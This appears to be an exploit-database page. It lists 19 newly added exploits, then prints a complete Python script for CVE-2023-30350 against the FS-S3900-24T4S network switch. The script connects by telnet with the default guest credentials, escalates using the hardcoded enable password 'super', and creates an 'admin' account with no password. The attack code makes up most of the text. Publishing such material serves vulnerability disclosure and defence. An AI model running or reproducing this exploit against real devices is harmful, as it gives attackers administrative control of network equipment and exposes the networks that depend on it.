668314bbda
19 changes to exploits/shellcodes/ghdb FS-S3900-24T4S - Privilege Escalation Virtual Reception v1.0 - Web Server Directory Traversal admidio v4.2.5 - CSV Injection Companymaps v8.0 - Stored Cross Site Scripting (XSS) GLPI 9.5.7 - Username Enumeration OpenEMR v7.0.1 - Authentication credentials brute force PHP Restaurants 1.0 - SQLi Authentication Bypass & Cross Site Scripting PHPFusion 9.10.30 - Stored Cross-Site Scripting (XSS) PHPJabbers Simple CMS 5.0 - SQL Injection PHPJabbers Simple CMS V5.0 - Stored Cross-Site Scripting (XSS) phpMyFAQ v3.1.12 - CSV Injection projectSend r1605 - Private file download revive-adserver v5.4.1 - Cross-Site Scripting (XSS) Serendipity 2.4.0 - File Inclusion RCE SoftExpert (SE) Suite v2.1.3 - Local File Inclusion Advanced Host Monitor v12.56 - Unquoted Service Path MilleGPG5 5.9.2 (Gennaio 2023) - Local Privilege Escalation / Incorrect Access Control
48 lines
No EOL
1.5 KiB
Python
Executable file
48 lines
No EOL
1.5 KiB
Python
Executable file
# Exploit Title: FS-S3900-24T4S Privilege Escalation
|
|
# Date: 29/04/2023
|
|
# Exploit Author: Daniele Linguaglossa & Alberto Bruscino
|
|
# Vendor Homepage: https://www.fs.com/
|
|
# Software Link: not available
|
|
# Version: latest
|
|
# Tested on: latest
|
|
# CVE : CVE-2023-30350
|
|
|
|
import sys
|
|
import telnetlib
|
|
|
|
|
|
def exploit(args):
|
|
print(args)
|
|
if len(args) != 1:
|
|
print(f"Usage: {sys.argv[0]} <ip>")
|
|
sys.exit(1)
|
|
else:
|
|
ip = args[0]
|
|
try:
|
|
with telnetlib.Telnet(ip, 23) as tn:
|
|
try:
|
|
tn.read_until(b"Username: ")
|
|
tn.write(b"guest\r\n")
|
|
tn.read_until(b"Password: ")
|
|
tn.write(b"guest\r\n")
|
|
tn.read_until(b">")
|
|
tn.write(b"enable\r\n")
|
|
tn.read_until(b"Password: ")
|
|
tn.write(b"super\r\n")
|
|
tn.read_until(b"#")
|
|
tn.write(b"configure terminal\r\n")
|
|
tn.read_until(b"(config)#")
|
|
tn.write(b"username admin nopassword\r\n")
|
|
tn.read_until(b"(config)#")
|
|
print(
|
|
"Exploit success, you can now login with username: admin and password: <empty>")
|
|
tn.close()
|
|
except KeyboardInterrupt:
|
|
print("Exploit failed")
|
|
tn.close()
|
|
except ConnectionRefusedError:
|
|
print("Connection refused")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
exploit(sys.argv[1:]) |